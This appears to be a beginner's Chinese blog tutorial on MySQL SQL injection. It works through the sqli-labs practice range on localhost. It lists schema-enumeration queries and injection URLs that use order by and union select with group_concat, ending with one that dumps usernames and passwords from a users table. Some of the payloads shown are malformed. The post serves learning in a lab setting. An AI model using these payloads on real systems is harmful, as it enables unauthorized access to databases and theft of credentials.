sql注入基本知识

文章目录


1、mysql在sql注入中的部分基本语句
2、sql常见注入

声明:
博主只是一个小白,如有不当之处请各位指正!

1、
首先介绍部分知识:
sql中注释:–+ 或 --(空格) 或 # 后面的语句不再执行
And和or:A and B 全部正确继续执行 A or B 有一正确或者全正确皆往下执行;
<1>
(1)显示所有数据库名

select schema_name from information_schema.schemata ;show databases;

结果
在这里插入图片描述
(2)显示某个库中所有表名(下图示例查询的是mysql库中的)

select table_name from information_schema.tables where table_schema='mysql' ;use mysql;
show tables;

结果
在这里插入图片描述
(3)显示某个表中所有列名(查询表中所有内容可用desc user(user为表名))

select column_name from information_schema.columns where table_name='user';

结果
在这里插入图片描述
(4)显示某个字段

select host,user from mysql.user;

结果
在这里插入图片描述
(5)显示当前版本号

select version();

在这里插入图片描述
<2>
(1)显示当前在用的数据库名:

select version();

结果
在这里插入图片描述
(2)显示当前在用的数据库名:

 select database();

结果
在这里插入图片描述
(3)显示当前使用的用户名:

 select user();

结果
在这里插入图片描述
(4)显示数据库路径

select @@datadir;

结果
在这里插入图片描述
(5)显示安装路径

select @@basedir;

结果
在这里插入图片描述
(6)显示数据库安装的操作系统

select @@version_compile_os;

结果
在这里插入图片描述

2、
注:初始的靶场是没有执行语句的,如果想要sql-libs输出sql语句,需要在每关的index.php文件中加上echo $sql;echo “<br>”;两句,具体插入位置见下图
在这里插入图片描述

(1)order by 语句
作用:用于判断字段数为多少
示例代码;

http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' order by 4 --+

结果
在这里插入图片描述
当order by 3 时候 ,输出正常
在这里插入图片描述
据此可见,字段数为3
(2)查询数据库、表、值字段等具体内容
首先补充一些信息:
information_schema:记录当前mysql所有数据库名,表名,列名信息。
information_schema.tables:记录表名信息的表
information_schema.column:记录列名信息的表
Table_name:表名
column_name:列名
Table_schema:数据库名
select schema_name from information_schema.schemata 表示查询所有数据库的名字
数据库中 . 代表下一级的意思
[1]
在网站中查询数据库的操作

http://127.0.0.1:8080/sqli-labs-master/Less-2/?id=-1  group_concat(schema_name) from information_schema.schemata--+

实例如下:
输入语句
在这里插入图片描述

执行结果
在这里插入图片描述
[2]
在网站中查询某个表的操作
代码:

http://127.0.0.1:8080/sqli-labs-master/Less-2/?id=-1  group_concat(table_name) from information_schema.tables where table_schema=0xsecurity

网页输入代码:
在这里插入图片描述
注意,这里的0x是为了将后面的表名转换为16进制,转换过程如下
在这里插入图片描述
此时变成了
在这里插入图片描述
执行语句,结果为
在这里插入图片描述
或这样查询

http://127.0.0.1:8080/sqli-labs-master/Less-2/?id=-1  group_concat(table_name) from information_schema.tables where table_schema='security'

结果如下
在这里插入图片描述

[3]
查询某个表中所有字段的信息
代码

http://127.0.0.1:8080/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+ 

网页中输入代码
在这里插入图片描述
执行结果
在这里插入图片描述
注:此亦可用单引号加表名来查看字段信息,我用的是转成十六进制的方法,由于[2]中已经讲述了单引号的用法,这里不再演示

[4]
查询某字段中的所有信息
代码:

http://127.0.0.1:8080/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+ 

网页输入代码:
在这里插入图片描述
执行结果:
在这里插入图片描述
此知识仅为冰山万分之一角,后续还会扩充其中用到的函数等!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值